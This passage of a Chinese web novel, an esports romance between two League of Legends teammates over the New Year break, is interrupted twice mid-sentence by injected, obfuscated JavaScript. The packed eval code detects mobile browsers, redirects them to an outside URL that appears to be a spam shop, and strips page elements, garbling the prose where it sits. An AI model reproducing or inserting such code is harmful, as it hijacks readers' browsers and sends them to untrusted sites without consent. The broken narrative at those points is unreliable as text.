“我认罪。” 宋澈睁开眼的时候,阳光大把洒进房间,扭头往窗外看,天地间已经银装素裹。 他懒洋洋的翻身伸了个懒腰,浪费难得的松散假期。昨晚的记忆慢慢浮现,林冬均那些荒唐的戏言回放时仍然逗得他哼笑。 正享受时,一声模糊不清的气音从脑海中不知名的角落唐突地蹦上台前。 宋澈猛地从床上弹坐起来,心脏在胸腔里狂跳,几乎要炸开。 依稀中他回忆起折腾到最后时,他在谢予辞的眼睛中看到了自己湿漉漉的倒影。 他昨天晚上干什么了?! 李扶砚,低估你了,这就是辅助的大局观吗,怎么没把他一起带走啊! 25. 第 25 章 宋澈拉过枕头捂住脑袋,昨晚送完下路组往回走时,落在谢予辞脸上又融化的雪花却在他的记忆里越发清晰。 他很快让自己冷静下来。 老公是一种态度,正如打野是一种担当! 这种时候如果慌里慌张,岂不是让予辞哥很没有安全感吗,怎么能这样呢。 宋澈把自己简单收拾了一下,深呼吸推开房门。客厅里空空荡荡的,昨晚的狼藉被保洁阿姨收拾得一干二净,甚至还贴心地在吧台上摆上了一盆水仙,增加新年氛围。 原来感情中勇气不是稀缺资源,真正困难的点是对方似乎不想跟他有这方面的牵扯。 “予辞哥?”他试探着喊了一声。 没有人回应。 周衡的房门没关敞开着,里面摆着常用物品的地方空了,显然是回家了。而照林冬均那副样子估计,等他能从辅助家里爬起来回来取行李至少得晚上。 那谢予辞呢? 什么意思,受害者不堪其扰,鱼死网破今夜就走? 对着安静的宿舍愣了一会,宋澈没被这场面暗含的态度吓退,他掏出手机直接拨通了谢予辞的电话。 直到他以为电话会自动挂断,那边才接通。 “喂,小澈?”谢予辞的声音听起来和平时没什么两样。 “予辞哥,你去哪了?” 这句话说出口,宋澈觉得自己也挺能装傻。 “我出去买点过年的东西,今天不是放假嘛,我看你睡得挺沉就没叫你。醒了多久?早饭记得吃,昨晚喝了酒胃会不舒服。” 也是,今天是腊月二十九,明天就是除夕,NPG除下路组外其余人家都在本市,提前去准备下年货是理所当然的。 但这个回答把他打好的腹稿全堵回去了。 宋澈不自觉握紧了手机,“予辞哥,我想去找你,昨晚我......” 谢予辞没等他说完,“昨晚没事的,小澈你今天下午走吗?记得跟经理小姐说一声,队里可以派车。” 他把话题岔开了。 宋澈将此理解为谢予辞一点都不想提,甚至希望宋澈也能默契地伪装失忆。 宋澈沉闷道,“我自己走就行,予辞哥,我就是想问问你什么时候回来。” “年后吧,队里通知不是说初六才上工吗?好了小澈,我这边有点乱,先不说了。新年快乐。” “......新年快乐,予辞哥。” 下午各个单位基本都提前放假了,加之路况不好,车来得慢。宋澈下楼太早被冻得够呛,呼出的气在空中凝成白雾,他盯着哈气慢慢消散,想起上次下雪后他太冷打哆嗦,谢予辞帮他拿完衣服后还嘱咐过化雪才是最冷的时候,下次千万别忘了。 好不容易车来了,司机是个在I人噩梦中名列前茅的概念神,健谈中年男司机。 “小伙子,回家过年啊?” “嗯。“宋澈应了一声,目光还停留在谢予辞的宿舍窗户上。 司机发动车子,“年轻人在外面打拼不容易,过年了就该回家好好歇歇。” 宋澈没有接话,车子驶过他和谢予辞一起走过的那条小路。 手机震动了一下,宋澈拿起来一看,是李扶砚。 李扶砚:宋澈,昨天冬均胡说八道的话你别往心里去。 宋澈:没事。 李扶砚:你已经走了? 宋澈:在路上。 李扶砚:那行,过年好好休息,咱们初五见。这几天要是有时间,记得替我和冬均给予辞哥拜个年。 宋澈:你知道予辞哥家在哪? 李扶砚:不知道啊,但是这两年予辞哥过年都住基地,不回家。 宋澈:为什么? 李扶砚:你问我??你不敢当面问予辞哥,我就敢吗? 宋澈怔了怔,下意识回头去找宿舍的方向,车开出几个转角,基地大楼已经看不到了。 发生的事情对于他来说太大,另一位当事人的态度不明,一直到了年三十,宋澈搬来小板凳缩在厨房角落擀饺子皮,依然还没缓过来,好在这场合不需要他全神贯注投入。 客厅的电视里放着春晚彩排花絮,茶几上摆满了他上午买回来的坚果、糖果和砂糖橘,几个还在上学的小辈叽叽喳喳地跟相熟的同龄人玩耍。 厨房里关系最近的亲戚长辈们唠着家常,而被抓壮丁的宋澈没半点用武之处,顶多算个谈资。 不知不觉话题被转移到了他身上,某个长辈问,“小澈啊,你表弟说你年底是不是要出国啊。” 宋澈点头,“今年如果能进S赛的话会去韩国。” 另一位长辈吓了一跳,“我跟你说你们可不能去啊,没听新闻上说吗?现在大漂亮马上就要跟他们打起来了。” 宋澈心说这的确没听说过,新闻联播知道您给它们供的稿子吗。 跟长辈反着来是没用的,宋澈选择打不过就融入,“那都得十一月,说不定那会早打完了。” “小澈,你们打比赛是不是得有艺名啊。我看前段时间你有什么比赛夺冠了,你妈发的朋友圈,你怎么还给自己取了个英文名字,这个名字不好啊,赶紧换!现在文化自信,得让外国人来学咱们中文。” 宋澈词穷了。 妈妈出来打圆场,“这哪能想改就改啊。不说这个了,宝贝儿最近都瘦了,是不是训练太辛苦了?那个什么NPG,听说是大单位,规矩肯定多吧?” “没有,妈,NPG的条件已经算最好的了。”宋澈心知肯定有后半句,没轻易放松警惕。 果不其然,妈妈接着问,“最近换了环境,遇没遇上喜欢的女孩子呀?男孩子也行啊?” 宋澈双手都是面粉,只好举着手站起来,无奈道,“等真谈了一定给您带回来瞧瞧。” 妈妈打发他走,“行了行了,别害羞了。快洗洗手,找你堂弟堂妹玩去吧。” 被长辈逗固然心累,哄孩子宋澈更是头疼欲裂,由于职业关系他在小辈中的人气值一向很高,但再说一遍他不喜欢跟小孩相处啊! 见他终于从地狱厨房出来,堂弟立马凑过来尖叫,“澈哥,你太厉害了!今年在NPG你所有胜场我都看了十八路解说!年前打UNG那次你跟Vale在河道草的那波二打三太帅了!” 宋澈在沙发上坐着放空,剥橘子的手没停,人已经被吵得走了一会了,直到触发了Vale关键词,才让他回过神来。 这个时间基地应该没什么人了吧?Staff们不用多说,宿管阿姨三十也放假了。 宿舍晚上会不会很无聊,予辞哥会做饭吗? 旋即他意识到自己完全是在担心些没必要的事情,就算不会做饭,以谢予辞的身家,把酒店厨师叫到基地搞个十几道菜都行。 宋澈家的年夜饭比往年丰盛,是他爸为了得瑟宋澈夺冠斥资置办的。按他爸的话说,宋澈一个考试及格都难的主难得能拿第一,就算是打游戏也得昭告天下。 “新年快乐。” “身体健康。” “新一年再拿几个冠军回来!” 饭后,手机NPG首发群里消息刷得飞快。 李扶砚:祝大家新年快乐!今年继续冲冲冲! 予辞哥:今年让扶砚先发了[惊讶.jpg]新年快乐,大家辛苦了~ 周衡:哈哈哈[碰杯.jpg] 酒神上单来了。 林冬均:扶砚哥,新年快乐。 林冬均:予辞哥,新年快乐。 林冬均:大家新年快乐。 堂堂皇族尚且知道一视同仁,小小AD发个祝福也要分三六九等,还把上野分到了下等,倒反天罡。 李扶砚:我在放烟花,羡慕吗!你们几个的城市是不是都禁燃,哈哈哈哈哈哈 周衡:新年快乐,都抢一下。[发红包] 予辞哥:谢谢老板~ 李扶砚:少了点什么,有人在装死?@NPG Carpet 宋澈点开私聊,手指在屏幕上悬停。 NPG Carpet:予辞哥,新年快乐。 还没等他发出去,另一边Quietus对话框先亮了起来。 Quietus:pet,新年快乐呀~[烟花.jpg] 这还是自宋澈告白以来对方第一次主动联系他,新年真是个神奇的日子,不光墙外架都不吵了,连他也能被大赦天下。 NPG Carpet:哥,新年快乐。在干嘛? Quietus:在看春晚,虽然有点无聊,但是家里人都在,也不好意思走开。pet呢? NPG Carpet:我也在看。 Quietus:有没有吃到好吃的? NPG Carpet:吃了饺子。 Quietus:pet有点心不在焉哦。 宋澈没料到对方会如此直白地点破。但凡早两天,他都会为Quietus的主动联络欣喜不已,可那天和予辞哥的事他酒醉心明。 他喜欢予辞哥,见到他就忍不住贪心。 NPG Carpet:嗯,我前几天做了一件错事,可能让他困扰了,这段时间他一直在躲着我。 Quietus:好熟悉的话,我好像也被这样控诉过? 宋澈不知所措。 Quietus:那这次呢,pet还会因为害怕对方消失,就不敢踏出那一步,只在原地傻乎乎地等着吗? NPG Carpet:不......我想见他。现在就想。 一语中的,分明是相似的情景,宋澈此刻内心涌动的却截然不同。 NPG Carpet:哥,之前的得寸进尺我非常抱歉,今天说可能会很煞风景,但往后我不会再让你困扰了。 NPG Carpet:希望你永远比我能想象到的更加幸福。 宋澈无征兆地站起身来。 几个亲戚正在揣测春晚导演是不是买机器人股套牢了,见他突然起身要往外走,妈妈也顾不上聊天了,惊讶地问,“宝贝儿,你去哪?怎么这么高兴?” 宋澈后知后觉地意识到,一想到能见到谢予辞,他竟然没控制住脸上的表情。 “妈,我有很重要的事,得回基地一趟。”宋澈脸上微微泛红。 “什么东西这么急?明天去不行吗?这大过年的……”爸爸也皱起了眉。 “不行,明天就来不及了。”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278609|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把抓起外套往外走,“你们不用等我,我可能稍微晚点。” “哎,你这孩子,慢点啊!外面地上都是雪!” 宋澈其实不确定谢予辞是会在宿舍,还是去了别的地方自己过年。 他也不知道见到谢予辞后该说什么,满脑子都是今天地铁九点钟停运,他得再跑快点。 心念一起,最难解的那道题豁然开朗。 宋澈直接杀到NPG基地,本想直奔宿舍,路过基地时却瞥见二层的训练赛有微弱的光正亮着。 有人在。 是保安正在巡视?还是...... 宋澈鬼使神差地驻足,一步步上了楼。训练室的门虚掩着,里面没有开大灯,只有连着投屏的电脑亮着屏幕,投影幕布上的光映亮了坐在椅子上的那个人的侧脸,乍一看像间小小的电影院。 中单的侧面是打野最熟悉的角度。 是谢予辞。 宋澈预感到有什么一直忐忑的东西即将尘埃落地。 谢予辞似乎听到了动静,转过头来看到门口站着的宋澈,他明显愣住了。 “小澈?你怎么回来了?”不知道是因为惊讶还是别的什么,谢予辞语速有点急促。 宋澈没有第一时间回话,而是先顶着没散完的寒气一口气走到谢予辞面前。 “予辞哥,我有话想对你说。” 谢予辞先拿起了遥控器调高温度,“外面在化雪,小澈你又穿的这么少,生病该怎么办呀。” 宋澈说,“抱歉予辞哥,出来得太着急。” 谢予辞笑他,“大夜里跑回来,只是为了道歉吗?放心好啦,我又不会真的那么独.裁。” “但我还是想为那天晚上的事道歉。”宋澈强迫自己回想从小到大每一件烦心的事,用以抵消亢奋,生怕被谢予辞看出他在抖。 “那天我很清醒,知道自己在做什么。” 宋澈一字一句地说,“我想要拥抱予辞哥,是因为我喜欢你。只顾着自己的心情却没有问你的感受,抱歉,予辞哥。” 谢予辞叹了口气,宋澈数过,他最近叹气的次数格外多。 中单说出来的话却超出宋澈预期,“小澈好狡猾,提前把我想好的借口堵住了,预判的嗅觉太厉害了。” 那样子在打野眼里实在可爱,宋澈情不自禁地笑,“其他事情都可以,唯独这份喜欢我不想轻易认输。” “不过别担心,在全世界全人类所有的胜负之上,我绝对不想让你难过,予辞哥只要幸福就好。所以如果让予辞哥烦恼的话,就请拒绝我吧,我不会把情绪带进游戏里的。” 马上要被拒绝了,在这个理应静候坏消息的时刻,他却平白生出宽慰来。 他回想起每一个有关谢予辞的时刻,试图从中找出一点没那么心动的细节来保护自己,但从英雄联盟诞生开始数起,遍寻每一次眨眼的空隙,竟找不出哪一件事让他舍得忘记。 中单邪恶势力过于强大,打野只好十五投了。 宋澈屏息良久。 只听谢予辞无奈地说,“唉,那该怎么办呀,我也希望小澈可以一直幸福。” 他不敢置信般抬头确认。 “这是什么眼神,那小澈希望我说什么?多来Gank、多反蹲、从第一个蓝就要留给我,中路说要开团就不许犹豫,越塔时主动帮我抗伤害,被烬追杀不许把身位让出来。” 谢予辞颇为苦恼,“我有这么不讲理吗?” “予辞哥?这是什么意思......” “小澈,即使是同队,想谈恋爱也是很困难的。”谢予辞正色道,“这件事可千万别说漏嘴,不然以咱俩的分段差距,你该被举报带妹了。” 宋澈看谢予辞打了十年游戏,在第十一年才终于站到他身边。 但没关系,因为正如太阳天天新天天旧,爱能把说过的事絮絮不休。* 电脑因为半晌没人操作自动息屏。 昏暗的房间里,宋澈牵起谢予辞的手。今晚无人舍得早早入梦,城市未熄的灯光将蓝色的夜空挤在他们彼此的面庞上。 谢予辞手指弯了弯,轻轻勾住了他。 窗外不远处金色的烟花炸响,两人同时转头,撞上火花接二连三地降落成一场雨。 宋澈用余光瞄着哥哥,趁机把自己的脖子贴在了他柔软的头发上。 打野和中单总是离得那么近,命运休戚相关。不论比赛输赢,焦灼或轻松,只要偏头就能看到最需在意的人,有谁能无情到遏制自身心跳的纠缠? 宋澈听见谢予辞的微微喉咙颤动。 他想开口了。 宋澈立马直起身,像之前无数次那样认真记住中单说的每个字。 不料窗外传来一声严肃地高喝,“前头那个放炮的!你别跑,站住!” 随即一连串鸡飞狗跳的奔逃声响彻寂静的深夜。 谢予辞刚想说什么却被打断,不由失笑出声,宋澈不知道笑点在哪,也跟着乐。这下两人变得彻底停不下来了,中野身子抖着撞到了一起,头碰头“诶呦”出声。 “小澈,新年快乐呀。” “予辞哥,新年快乐。” 打野虽然开局不利,万幸成功发表了获奖感言。 26. 第 26 章 宋澈的假期早已被父母瓜分给了七大姨八大姑们,无论内心多不愿意跟谢予辞分开,他也得老老实实地回家准备串四天门。 是二十岁还家有门禁的小哥哥一枚呀。 不过好在感恩于二十世纪伟大的发明电子计算机,对于电竞选手而言,还有什么比来上一把紧张刺激的双排更能加深感情吗? 上午串完门,宋澈借口要直播,迅速溜回自己的房间。眼见距离跟谢予辞约定的时间还早,他接受了后辈的海克斯大乱斗邀请,摸到了把一板一眼杰斯。 对手竟然不投,让他在第二次海克斯随出来个老练狙神。 看来是英雄联盟之神降下神谕,告诉Carpet玩家今天的峡谷约会会很顺利。 对方的基地爆炸,手机里传来特殊提示音。 谢予辞:才睡醒,头有点晕,小澈是不是等我很久啦? 宋澈:正好 宋澈卸磨杀驴踢掉刚刚陪他打大乱斗的后辈,游戏屏幕中刚刚好弹出谢予辞的入队申请。伴随着清脆的提示音,带着生日帽的小魄罗头像随着金光落在了他旁边。 小魄罗歪着头,大眼睛亮晶晶的,生日帽上还挂着彩带。 队伍语音里谢予辞带着鼻音打招呼,“小澈白天辛苦了~游戏就交给我好了。” 宋澈问,“予辞哥想玩什么?请继续Carry我吧。” 两人用的都是小号,大年初一适合约会的地方或许三点就关门下班,但想捞钱的人二十四小时在线,只等给无辜的选手添新年第一堵。 任何时间任何地点,超级赌狗认真开盘,没有困难的工作,只有勇敢的狗狗。 前两个号分数太高,过年期间基本上排不到对局,这个号是他第三个排位账号。宋澈试探地点开对方的账号设置,历史战绩玩什么的都有,显然是青训副产品。位置预选一选中单,二选补位。 他点击开始匹配。 “好了,先来看今天的运势吧,第一把会排到哪个位置?” 宋澈不知哪来的胆子,“会是辅助吗?我还没有见过予辞哥的辅助实力呢。” 这是真的,宋澈单排从来没有撞车过谢予辞玩补位。 谢予辞一下精神了,据理力争,“小澈不要听那些人瞎说,我补位是很厉害的,辅助绝对有扶砚的水平。” 中单大人的补位胜率不低,而实力却是神鬼莫测。 玩上单宇宙起源级绕后,玩打野越塔成功率约为零,玩AD脸T冲上去开团,相比之下只是喜欢对线期一打二的辅助对团队的伤害已经很小了。 韩服大师局排队速度不算慢,十分钟就排进了游戏。屏幕一闪,进入了英雄选择界面。 “是辅助,本来还想展示下我新练的中路芸阿娜。”谢予辞看清分路,颇为遗憾。 宋澈助纣为虐道,“不用着急,我跟予辞哥还会有很多机会。” 谢予辞感慨,“哇,现在的孩子说话真是不得了。” 游戏里的BP已经开始了。 路人AD:我是Vale,中路给我让个位置。 路人中单:?你是Vale那我就是Carpet 有品!奖励你一下,待会帮予辞哥抓完下路会顺便去中的。 AD:那不正好吗,不换咱们都不舒服,换了至少我能打的舒服,皆大欢喜啊。 中单:理所当然颐指气使的傲慢嘴脸,好恶心。 AD被毫不留情地拒绝,于是一楼选出一手锤形态小炮,试图压迫自家队友秒掉游戏。 2楼的谢予辞毫不畏惧,面对AD的摆烂态度直接秒锁辅助维克托,让波比反过来给他pin问号。宋澈本来在摆弄着自己的耳机,看到这一幕直接笑出声。 “以暴制暴?还是正合你心意?” 谢予辞理都没理AD的问号,只顾着跟宋澈抱怨,“维克托这个英雄很无聊。” 宋澈说,“我准备躺好?” 谢予辞亮了个表情,“嗯嗯,批准了~” 宋澈排到了3p打野位,他先打字询问受到精神冲击的中上需不需要抢英雄,得到否定回答后锁下男枪打野。 4楼和5楼的中上虽然对自家下路组持怀疑态度,但在锁定英雄之前,他们还是习惯性地查了一下队友的战绩,当他们看到3p打野的战绩时都惊了。这个三无小号胜率竟然高到吓人,打野英雄的战绩表上除了MVP就是零星的SVP。近五十场游戏,输的不超过十场,而且大部分都是队友太坑,他一个人带不动。 一看就是还没被直播认证的职业选手。 想坐bus的诱惑让他们没有秒掉游戏,选择助长自己的不劳而获思想。 “欢迎来到召唤师峡谷!” 蓝色方阵容剑魔、男刀、妖姬、女警、卡尔玛。 红色方阵容青钢影、男枪、泰坦、波比、维克托。他们这把是红色方,男枪拎着自己武器来到红BUFF站定,按F5开始OB辅助的一举一动。 谢予辞的维克托理也不理波比,拄着手杖径直奔向中单草丛,泰坦也扛着船锚站进来,pin了自己Q,示意他一级可以学勾打团。 谢予辞拉长声音,“好凶的泰坦呀,不要来不要来,打不过的。” 宋澈确认了下局势,“能打,我过去。” “就是不想让男枪来,小澈乖乖让我C,不要想那么多。”中单投来不赞同的叹号。 维克托回复泰坦撤退信号,表示自己没有这么激进的想法。 泰坦委屈地亮对手指表情。 宋澈憋着笑,“我错了,对不起。” “原谅你一次吧。” 只是来巡视一圈峡谷的辅助高傲地走回自己的下路,男枪也收回视线,专心拉红。 AD波比终于认清了事实,这局游戏为了不被举报掉分,他不得不竭尽全力地挨揍抗压。他看了看身边丢着平A的维克托,刚发出一句“维克托能不能学E帮我清兵”,就见对方Q技能虹吸能量出手,工资装跳起二十块。 波比:下路的勾心斗角竟然已经激化至此了,要不我还是别说话了。 下路互相僵持了一会,维克托和波比很快被压在了防御塔下补塔刀。 波比站在塔后唯唯诺诺地用被动吃残血小兵,维克托一马当先顶在前面秀走位,对面女警QWE全套打完一个没中。他也不想着垫刀,把E技能捏得很紧,只要出手必定一刮二,还能留心把残血近战兵都漏过去让波比吃。 打野及时给予肯定,“这种程度的线条完全是异画师在上号。” 职场中称赞偶尔也是件私密的事情,暗含隐晦的分寸,确认关系后宋澈最高兴的就是终于可以不用顾忌前后辈的身份,可以随心所欲地把对中单的夸赞说出口了。 维克托走位忽然掉帧,被对手抓住机会偷A了几下。 真正厉害的打野连队友都可以Gank到! “小澈,我也是会脸红的。”谢予辞假意抱怨。 虽然维克托够秀,但女警凭借手长优势,每波兵线进来都能点塔,几个回合下来已经吃到了一层塔皮。再这样放任下去,女警体系的推塔节奏就会完全展开。 然而双排的难度之所以比单排低,就是因为当一方陷入劣势或僵局时,另一个人可以成为打破天平的奇兵。 宋澈在青钢影的帮开下清完上半野区,又去中路蹭了一波线,已经领先对方打野半管经验,先到了六级。 他刷完第一圈野后回家时,通过留在河道的视野发现对面打野往上去了,于是趁对方下路重置兵线,男枪开启扫描贴着下路草丛一路摸过来反蹲。 对方女警靠近草丛后维克托开启力场减速,男枪先A第一下,然后拉近距离贴脸A用掉最后一颗子弹,趁着换弹效果瞬间打出EQ,女警最后一丝血量吃到了辅助卡尔玛的护盾,闪现拉开距离。 不用多说什么,谢予辞第一时间向前跟上。 维克托E逼退卡尔玛辅助,Q压低血量,波比闪现壁咚晕住。 男枪闪现调整身位,红惩卡尔玛,等着女警护盾消失的一瞬间终极爆弹出手,却没有着急收掉死血的下路双人组,而是让给了维克托。 谢予辞没想到他会让,“这是献给我的贡品吗?” “是未来市场的利息,请陛下收下。”宋澈重新装弹。 “打算分多久还完?” “直到恕瑞玛重新统治大陆为止吧。” 完成双杀后,波比和男枪后撤回城,波比给帅气的男枪狂亮表情,宋澈随手回了个小蜜蜂。 一旁的维克托不为所动,他还没攒够出核心的钱,于是当着波比的面吃起兵线来,这次倒知道用E清兵了。 波比也懂男枪和维克托是一对儿双排的玩家,敢怒不敢言地咽下这口气。 可接下来游戏的走向却让他越来越疑惑,自己到底会不会打英雄联盟。 维克托回家买出核心后第一站先光顾了中路,在中路蹭经验升六级学出大招,然后叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278610|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上泰坦和男枪回城直奔上路。 剑魔刚刚趁着青钢影回家把线推进塔,进草准备回城,忽然看到泰坦摇摇摆摆地走到他脸上清兵,剑魔当即断了读条,准备拖着剑上去打Q一套再说。 没想到泰坦先R起手,E减速了他,AWA打出被动禁锢住。剑魔准备开大反打,没想到对方身后又冒出来个一对野辅,一顿混合打把他直接收掉。 剑魔给下路pin信号,得到了女警一句“下路早就报过miss了,去治疗一下自己不看小地图的毛病吧”。 行吧,这次就算我大意了,剑魔想着。他特意确认小地图,确保泰坦已经回到中路,才放心走上去吃线。 结果这次草丛中又钻出来了男枪和维克托,男枪烟雾弹关灯,青钢影一脚把他踹晕在维克托的立场里,他再次被维克托的Q收走。 剑魔气急败坏地打出问号,女警不耐烦地回复:“pin什么pin,就你知道问号怎么发是吧?”反手就在剑魔脸上打了几个问号。 剑魔更来气了,质问道:“你打信号都是多久前的事了,他又上来了你怎么不说。” 女警打字:“男枪抓完我之后,这维克托就没回来过,我哪知道他干什么去了。我又没有打野帮忙推线,没空管别人。” 男刀:? 你们吵架就吵架,为什么要阴阳怪气打野啊。 从上路成功拿到头的维克托回家掏出了第一个大件,又回到了自己命运般的中路,开始跟泰坦一起玩中路双人路。 打野哪忍心辅助一个人做事,也蹲在中路附近不走了。 这对奇怪的野辅依靠着中单控制和上单TP,短短十几分钟内围绕中线打了五六次小团战。维克托的死亡射线和力场铺满了中路地板,先刮男刀后刮妖姬,卡尔玛来帮忙也要挨一顿揍;打野仗着对方稳定控不够多,在草丛内外来回游龙,谁敢碰辅助就把枪管塞在嘴里。两个人生生战出了千军万马的气势。 直到男枪控下峡谷先锋,撞掉中一塔,这场莫名其妙的大乱斗才算告一段落。 上中野辅都收获了自己想要的人头、经济和快乐,唯一被遗忘的就只有下路抗压的波比。 波比:那个......或许...... 波比:辅助大人可以回来一下吗?我已经很久都没见过您了。(哭泣) 波比:请来救救我吧,我不想再挨揍了! 宋澈看到聊天框里的哀鸣,总算从中路大乱斗里回神,发现不知不觉间他们的锤形态小炮已经0-3-2了。 而辅助大人正顶着他6-0-4的战绩回城,准备去出自己的第二个大件。 维克托:稍等一下,马上就安排仆人去下路游走了。 男枪依次亮起轮盘表情为帅气的维克托助兴,言听计从地跑去下路脏了波比的兵线。 波比:哪来的夺命鸳鸯? 泰坦:可能是Vale和Carpet来了吧。 宋澈情场得意,事业也很得意。游戏顺利拿下后,两人没着急排,有一搭没一搭地聊着天,宋澈一点点给谢予辞讲这几天遇到的趣事。 Carpet适合跟Vale说的话题不多,跳不出英雄联盟的一亩三分地,但宋澈想跟谢予辞分享的远不止这些。他前一句讲在亲戚家遇到了哪个让他耳朵痛的小恶魔,后一句就忍不住说起自己小时候。谢予辞认真听着,一句一句地回应他。 从小时候偷偷点开爸爸的红警,再到担忧陈铎监督岌岌可危的发量,讲着讲着,宋澈后知后觉地不习惯。 孩子在父母面前是不平等的半透明,长大后则要展示被拣选的侧面。来到NPG前,宋澈从没想过他的需要也能被看到,放任一个人读到连他自己都没注意的行间。 好想让他再了解我一些,难过的、自豪的、羞耻的,不管做得是对是错,他都按捺不住雀跃,原来把自己的一切托付给另一个人是如此快乐的诱惑。 宋澈的声音停下。 谢予辞疑惑道,“小澈,你说什么?我没听清。” 宋澈小声重复,“下辈子要从一出生起就开始跟予辞哥谈恋爱。” 谢予辞也压低声音笑他,“哼哼,都这样还说自己不贪心?骗子。” 宋澈脸红了。 ——聊天室,两小时前—— Donuts:澈哥你人呢?我出去跟亲戚问个好,回来队伍为什么解散了?你在跟谁双排? Donuts:喂?!澈哥你还在吗? 27. 第 27 章 煲了四天电话粥,宋澈内心总是隐约有种不安,像是忘记了什么重要的事。 收假当天一早,宋澈拖着行李踏进宿舍大门,再次跟仪容凌乱的谢予辞面对面,才有点回过味来。 予辞哥,好像是知道Quietus的? “小澈,怎么站在那不动呀?”谢予辞排在耷拉着头的水仙旁边,端着冒白气的热茶熏眼睛。 别慌,现在还有时间组织一下悍跳发言。 他之前向谢予辞咨询过网恋的问题,虽然没明说,但他不觉得予辞哥听不出来言下之意。 几天前还信誓旦旦地发下非卿不娶的豪言壮语,转头就一二三四再来一次,岂不是显得他很轻浮! 虽然予辞哥压根没提,一副不在乎的样子,他难道就也装模作样地不说吗。 毕竟予辞哥不会真的不在乎...... 不会吧! 宋澈说,“予辞哥,其实我之前跟你提过,我有个......” 谢予辞闻言抬头。 这几天他们聊天熬得太晚,资深夜猫子也受不了如此高强度的猝死套餐。谢予辞的眼睛太干,试图用热气缓解,效果如何有待商榷,倒是水汽弄得他刘海湿溻溻,眼皮也有点红。 柔和的光线通透地洒落到吧台,节日的早晨窗外只有鸟雀们的叽叽喳喳若断若续。 宋澈忘记了想说的话,生怕打破这幅画面。 算了,只要他们还能有许许多多这样的时刻就够了。 他走上前去,确认般地含住对方的嘴唇。 万幸,哥哥既没有被寒风不讲道理的凉意烦扰,也没被热气融化。 半晌后宋澈直起身,见谢予辞不光眼皮红,耳朵尖也红了起来。 “你有个什么?总之是没有礼貌。”谢予辞抬手去捏宋澈的脸,“正说这话呢,怎么动手动脚。” “贪心、爱说谎、没礼貌,快点回答我,世界上怎么会有这么坏心眼的打野呀。” 宋澈狡辩,“因为很想念予辞哥。” 所以这些坏毛病真正的名字叫做喜欢。 谢予辞上下打量他一番,对他的伶牙俐齿刮目相看。他手指抚摸过宋澈的鼻梁,又轻轻扯开他的嘴角。 “鼻子没有变长啊,张嘴给我看看,难不成就这几天的功夫虎牙长出来了?” 宋澈决定矜持一下,抿着嘴不让看。 谢予辞见状也不再逗他,“好啦,小澈想说又觉得说不出口的,是不是你那个网恋的辅助朋友?” “予辞哥,你这是怎么知道的?”宋澈恍然,“也对,我跟Quietus的事情李扶砚肯定胡说了不少。” 跑商单时谢予辞就说过,李扶砚到处宣扬他在跟一个路人辅助双排,以予辞哥的聪明,能把这两件事联想到一起并不难。 没想到谢予辞竟然露出几分茫然,下意识地问,“扶砚什么......哦,对,咳咳,扶砚是说过。” 这反应似乎哪里不对劲?宋澈没把握住违和感的来源,只点点头,忐忑不安地等待谢予辞的责怪。 谢予辞笑道,“那不重要了。” “诶?” 谢予辞伸手揉了揉宋澈的头发,“过去的事情就让它过去吧。小澈不是喜欢我吗,对我来说这就够了。“ 宋澈没想到谢予辞会这么轻描淡写,“可是这对予辞哥不公平。” 谢予辞注视着他,“重要的是现在,是此刻,是我们选择了彼此。如果小澈真的还惦记着那位辅助朋友,那我就只能更加努力地让你忘记他了。” 宋澈忍不住笑了,“那就请予辞哥再多在意我一点吧。” 就像早上出门时,妈妈调出的戏曲台正唱到那首尔侬我侬。 谢予辞读懂了他内心纠结的画外音,狡黠道,“小澈晚上不会因为觉得我不在意你,就偷偷在被窝里生闷气吧?” 宋澈想别过脸却舍不得,“才没有。” “是吗?” 没等宋澈多说什么,门外又传来叮铃咣当的动静,又有人回来了。 宋澈往门口一看,是背着个大号双肩包的林冬均,对方见他也在,显然也很惊讶。 林冬均问,“你不是住本市吗,这么早回来干什么?” 哈哈这话原封不动送给你。 没等宋澈回答,谢予辞便探身招呼道,“冬均回来啦,又没抢到白天的票吗。” 林冬均包都没摘,站直打招呼,“予辞哥,新年快乐,今年也辛苦了。前几天给你添麻烦了,真的很抱歉。” 谢予辞看他蔫头耷脑,关心道,“那天扶砚没说你太狠吧,没事的冬均,别在意,偶尔见你那样一次也很有意思。” 林冬均沉痛道,“扶砚哥没骂我,直接上手拧我了,还说下次要是再发疯就要让我四级起单挂下路。” 哇哦,宋澈挑眉,衷心盼望林冬均千万不要犯戒。 设想,如果AD单挂下路,那么辅助势必要去到地图上其他地方做事。而宋澈恰巧知道,李扶砚并不是一位擅长野辅双游的选手。 乐子人别来祸害我精耕细作的野区! 宋澈好心提醒,“下次少喝点。” “不会再有下次了。对了,你贴予辞哥那么近干嘛,有那么冷吗。”林冬均边往房间走边问。 宋澈转身跟谢予辞对上眼神,谢予辞被他突如其来的动作吓到了,往后退了半步,宋澈伸手捞,没怎么用力两个人就贴到了一块。 近吗?可能是有点近了。 NPG青训营明令禁止小选手恋爱,宋澈上一队后没问过陈监督,但刚来三个月就拐走了队长怎么想都会被打包卖去欧美打黑工。尤其是他还是青训出身,让整件事听起来更像蓄谋已久。 